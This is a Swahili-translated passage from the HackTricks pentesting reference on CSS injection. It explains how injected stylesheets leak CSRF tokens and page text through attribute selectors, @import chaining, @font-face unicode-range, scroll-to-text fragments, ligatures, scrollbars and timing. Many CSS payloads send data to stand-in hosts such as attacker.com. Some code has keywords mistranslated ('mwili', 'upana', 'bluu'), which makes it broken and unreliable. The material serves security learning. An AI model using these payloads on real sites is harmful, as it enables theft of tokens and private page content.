hacktricks/pentesting-web/xs-search/css-injection/README.md

28 KiB
Raw Blame History

Kuingiza CSS

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kikundi cha Usalama cha Kujitahidi Kwa Bidii

{% embed url="https://discord.gg/tryhardsecurity" %}


Kuingiza CSS

Chaguo la Sifa

Vichaguzi vya CSS vimeundwa kufanana na thamani za jina na thamani za kipengele cha input. Ikiwa thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyopangwa hulandwa:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Hata hivyo, njia hii inakabiliwa na kikwazo wakati inashughulikia vipengele vya pembejeo vilivyofichwa (type="hidden") kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.

Kupita kwa Vipengele Vilivyofichwa

Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla ~. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Mahitaji ya Kuingiza CSS

Ili mbinu ya Kuingiza CSS iwe na ufanisi, hali fulani lazima zikutane:

  1. Urefu wa Mzigo: Vectori ya kuingiza CSS lazima iweze kusaidia mzigo wa kutosha kuwezesha wachaguzi ulioandaliwa.
  2. Upya wa CSS: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na mzigo uliotengenezwa upya.
  3. Rasilimali za Nje: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuwa imezuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti.

Mchaguzi wa Vipengele Viziwi

Kama inavyoelezwa katika chapisho hili, ni rahisi kuunganisha wachaguzi :has na :not kutambua yaliyomo hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo lolote la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.
Pia ni rahisi kutumia wachaguzi hao kutolea habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kwa kuunganisha hii na mbinu ya @import ifuatayo, inawezekana kuvuja kiasi kikubwa cha maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na blind-css-exfiltration.

@import

Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa kupeleka viungo vingi kwa muathiriwa, au unahitaji kuwa na uwezo wa kuweka CSS injection katika ukurasa unaoweza kuvuja kupitia iframe.

Hata hivyo, kuna mbinu nyingine nzuri inayotumia CSS @import kuboresha ubora wa mbinu.

Hii ilionyeshwa kwanza na Pepe Vila na inafanya kazi kama ifuatavyo:

Badala ya kupakia ukurasa huo mara kwa mara na maelfu ya mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji (hii ndio mizigo ya kutuma kwa muathiriwa):

@import url('//attacker.com:5001/start?');
  1. Import itapokea mskripti wa CSS kutoka kwa wachomozaji na kivinjari kitaiload.
  2. Sehemu ya kwanza ya mskripti wa CSS ambayo mchomozaji atatuma ni @import nyingine kwa seva ya wachomozaji tena.
  3. Seva ya wachomozaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu uagizaji huu na mzigo wa kuvuja wengine.
  4. Sehemu ya pili na kubwa ya mzigo itakuwa mzigo wa kuvuja wa chaguo la sifa.
  5. Hii itatuma kwa seva ya wachomozaji herufi ya kwanza ya siri na ya mwisho.
  6. Mara tu seva ya wachomozaji imepokea herufi ya kwanza na ya mwisho ya siri, itajibu uagizaji uliotakiwa katika hatua ya 2.
  7. Majibu yatakuwa sawa na hatua 2, 3 na 4, lakini wakati huu itajaribu kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho.

Mchomozaji ataendelea mzunguko huo hadi aweze kuvuja kabisa siri.

Unaweza kupata msimbo wa Pepe Vila kutumia hii hapa au unaweza kupata karibu msimbo sawa lakini uliocommenti hapa.

{% hint style="info" %} Mskripti itajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Hii inaruhusu script kuvuja siri haraka. {% endhint %}

{% hint style="warning" %} Wakati mwingine script haigundui kwa usahihi kwamba kipimo + kufikishwa kilichogunduliwa tayari ni bendera kamili na itaendelea mbele (kwenye kipimo) na nyuma (kwenye kufikishwa) na wakati fulani itasimama.
Usiwe na wasiwasi, tuangalie matokeo kwa sababu unaweza kuona bendera hapo. {% endhint %}

Selectors Nyingine

Njia nyingine za kufikia sehemu za DOM na vichaguzi vya CSS:

  • .darasa-ya-kutafuta:nth-child(2): Hii itatafuta kipengee cha pili chenye darasa "darasa-ya-kutafuta" katika DOM.
  • Chaguzi :tupu: Hutumiwa kwa mfano katika hii writeup:
[role^="img"][aria-label="1"]:tupu { background-image: url("URL_YAKO_YA_SERVER?1"); }

XS-Search Inayotegemea Makosa

Marejeleo: Shambulio la Kulingana na CSS: Kutumia unicode-range ya @font-face, XS-Search PoC Inayotegemea Makosa na @terjanq

Nia kuu ni kutumia fonti ya desturi kutoka kwa kituo kilichodhibitiwa na kuhakikisha kwamba maandishi (katika kesi hii, 'A') yanavyoonyeshwa na fonti hii tu ikiwa rasilimali iliyotajwa (favicon.ico) haiwezi kupakia.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Matumizi ya Fonti ya Kawaida:
  • Fonti ya kawaida inadefiniwa kwa kutumia sheria ya @font-face ndani ya lebo ya <style> katika sehemu ya <head>.
  • Fonti inaitwa poc na inapakuliwa kutoka kwa mwisho wa nje (http://attacker.com/?leak).
  • Mali ya unicode-range imewekwa kuwa U+0041, ikilenga herufi maalum ya Unicode 'A'.
  1. Kipengele cha Kitu na Nakala ya Mbadala:
  • Kipengele cha <object> chenye id="poc0" kimeundwa katika sehemu ya <body>. Kipengele hiki kinajaribu kupakia rasilimali kutoka http://192.168.0.1/favicon.ico.
  • font-family kwa kipengele hiki imewekwa kuwa 'poc', kama ilivyoelezwa katika sehemu ya <style>.
  • Ikiwa rasilimali (favicon.ico) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya <object> itaonyeshwa.
  • Maudhui ya mbadala ('A') yataonyeshwa kutumia fonti ya kawaida poc ikiwa rasilimali ya nje haiwezi kupakia.

Kuunda Mtindo wa Sehemu ya Nakala ya Kuelekea

Pseudo-class ya :target inatumika kuchagua kipengele kilicholengwa na sehemu ya URL, kama ilivyoelezwa katika maelezo ya CSS Selectors Level 4. Ni muhimu kuelewa kwamba ::target-text hailingani na vipengele vyovyote isipokuwa ikiwa nakala inalengwa wazi na sehemu.

Wasiwasi wa usalama unatokea wakati wadukuzi wanatumia kipengele cha Scroll-to-text fragment, kuruhusu kuthibitisha uwepo wa nakala maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia kuingiza HTML. Mbinu hii inajumuisha kuingiza sheria ya CSS kama hii:

:target::before { content : url(target.png) }

Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali target.png inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyoinjiliwa pamoja na kipande cha maandishi ya Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hapa, shambulio linabadilisha kuingiza HTML ili kuhamisha nambari ya CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (#:~:text=Administrator). Ikiwa maandishi yamepatikana, rasilimali iliyoelekezwa huload, ikitoa ishara isiyo ya makusudi ya uwepo wake kwa muhusika.

Kwa kupunguza madhara, mambo yafuatayo yanapaswa kuzingatiwa:

  1. Ulinganishi Mdogo wa STTF: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kikizuia uwezo wake wa kufichua siri au vitambulisho vya aina yoyote.
  2. Kizuizi kwa Muktadha wa Kivinjari cha Juu: STTF inafanya kazi tu katika muktadha wa juu wa kivinjari na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyonyaji kuwa dhahiri zaidi kwa mtumiaji.
  3. Hitaji la Kuchochea Mtumiaji: STTF inahitaji ishara ya kuchochea mtumiaji ili kufanya kazi, maana yake unyonyaji ni wa kufanyika tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.

Kuwa na ufahamu wa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.

Kwa habari zaidi angalia ripoti ya asili: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Unaweza kuangalia kutumia mbinu hii kwa CTF hapa.

@font-face / unicode-range

Unaweza kubainisha fonti za nje kwa thamani maalum za unicode ambazo zitakusanywa tu ikiwa thamani hizo za unicode zitapatikana kwenye ukurasa. Kwa mfano:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Wakati unapofikia ukurasa huu, Chrome na Firefox huchukua "?A" na "?B" kwa sababu kipande cha maandishi cha sensitive-information kina wahusika "A" na "B". Lakini Chrome na Firefox huchukui "?C" kwa sababu haina "C". Hii inamaanisha kwamba tumeweza kusoma "A" na "B".

Udukuzi wa kipande cha maandishi (I): ligatures

Kumbukumbu: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia ligatures ya font na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa:

  1. Uundaji wa Fonti za Kibinafsi:
  • Fonti za SVG zinaundwa na glyphs zenye sifa ya horiz-adv-x, ambayo huanzisha upana mkubwa kwa glyph inayowakilisha mfululizo wa wahusika wawili.
  • Mfano wa glyph ya SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, ambapo "XY" inaashiria mfululizo wa wahusika wawili.
  • Fonti hizi kisha hubadilishwa kuwa muundo wa woff kwa kutumia fontforge.
  1. Ugunduzi wa Mabadiliko ya Upana:
  • CSS hutumiwa kuhakikisha kuwa maandishi hayapindi (white-space: nowrap) na kubinafsisha mtindo wa scrollbar.
  • Kuonekana kwa scrollbar ya usawa, iliyopambwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfululizo maalum wa wahusika, upo katika maandishi.
  • CSS inayohusika:
mwili { white-space: nowrap };
mwili::-webkit-scrollbar { background: blue; }
mwili::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Mchakato wa Kutumia Udukuzi:
  • Hatua 1: Fonti zinaundwa kwa jozi za wahusika wenye upana mkubwa.
  • Hatua 2: Mbinu ya kudanganya kwa kutumia scrollbar hutumiwa kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya wahusika) inapotolewa, ikionyesha uwepo wa mfululizo wa wahusika.
  • Hatua 3: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika wa awali au wafuatao.
  • Hatua 4: Ugunduzi wa ligature ya wahusika watatu unafanywa.
  • Hatua 5: Mchakato unarudia, ukifunua taratibu maandishi yote.
  1. Uboreshaji:
  • Mbinu ya sasa ya kuanzisha kutumia <meta refresh=... sio bora.
  • Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS ya @import, ikiboresha utendaji wa udukuzi.

Udukuzi wa kipande cha maandishi (II): kuvuja kwa charset na fonti ya chaguo-msingi (bila kuhitaji mali za nje)

Kumbukumbu: PoC using Comic Sans by @Cgvwzq & @Terjanq

Mbinu hii ilizinduliwa katika mjadala wa Slackers. Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja kwa kutumia fonti za chaguo-msingi zilizosanikishwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.

Mbinu hii inahusisha kutumia uhuishaji kuongeza kwa hatua kwa hatua upana wa div, kuruhusu wahusika mmoja kwa wakati kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili:

  1. Prefix: Mstari wa awali.
  2. Suffix: Mstari unaofuata.

Hatua za mpito za wahusika zitaonekana kama ifuatavyo:

C
ADB

CA
DB

CAD
B

CADB

Wakati wa mpito huu, mtego wa unicode-range unatumika kutambua kila wahusika mpya wanapojiunga na prefix. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika prefix.

Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haitoi maelezo ya wahusika gani wanarudiwa, bali inaonyesha tu kwamba kurudiwa kumetokea.

{% hint style="info" %} Kimsingi, unicode-range hutumiwa kutambua wahusika, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.
Wakati wahusika unapopatikana, unapewa fonti ya Comic Sans iliyosanikishwa mapema, ambayo inafanya wahusika kuwa wakubwa na kuzindua scrollbar ambayo itavujisha wahusika uliopatikana. {% endhint %}

Angalia nambari iliyochimbuliwa kutoka kwa PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { upana: 120px }
6% { upana: 140px }
7% { upana: 0px }
}

div::-webkit-scrollbar {
background: bluu;
}

/* upande wa channel */
div::-webkit-scrollbar:vertical {
background: bluu var(--leak);
}

Kuvuja kwa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali zilizo nje)

Marejeo: Hii imetajwa kama suluhisho lisilofanikiwa katika andiko hili

Katika kesi hii, tunaweza kujaribu kuvuja ikiwa herufi iko katika maandishi kwa kupakia font bandia kutoka asili ile ile:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ikiwa kuna mechi, font itapakiwa kutoka /static/bootstrap.min.css?q=1. Ingawa haitapakiwa kwa mafanikio, kivinjari kinapaswa kukihifadhi, na hata kama hakuna hifadhi, kuna muhuri wa 304 usiobadilishwa, hivyo jibu linapaswa kuwa haraka kuliko mambo mengine.

Hata hivyo, ikiwa tofauti ya wakati kati ya jibu lililohifadhiwa na lile lisililohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Walakini, baada ya majaribio, niligundua kuwa shida ya kwanza ni kwamba kasi si tofauti sana, na shida ya pili ni kwamba boti hutumia bendera ya disk-cache-size=1, ambayo ni ya kweli kabisa.

Uchimbaji wa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje)

Marejeo: Hii imeelezwa kama suluhisho lisilofanikiwa katika andiko hili

Katika kesi hii unaweza kuonyesha CSS kupakia mamia ya fonti bandia kutoka asili ile ile wakati mechi inapotokea. Kwa njia hii unaweza kupima muda unaochukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Na msimbo wa boti unaonekana kama huu:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Kwa hivyo, ikiwa herufi hazifanani, wakati wa kujibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya herufi, maombi mengi yatapelekwa kuchukua herufi, ikisababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea jibu. Kwa hivyo, muda wa kujibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna mechi ya herufi.

Marejeo

Kikundi cha Usalama cha Kujaribu Kwa Bidii

{% embed url="https://discord.gg/tryhardsecurity" %}

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: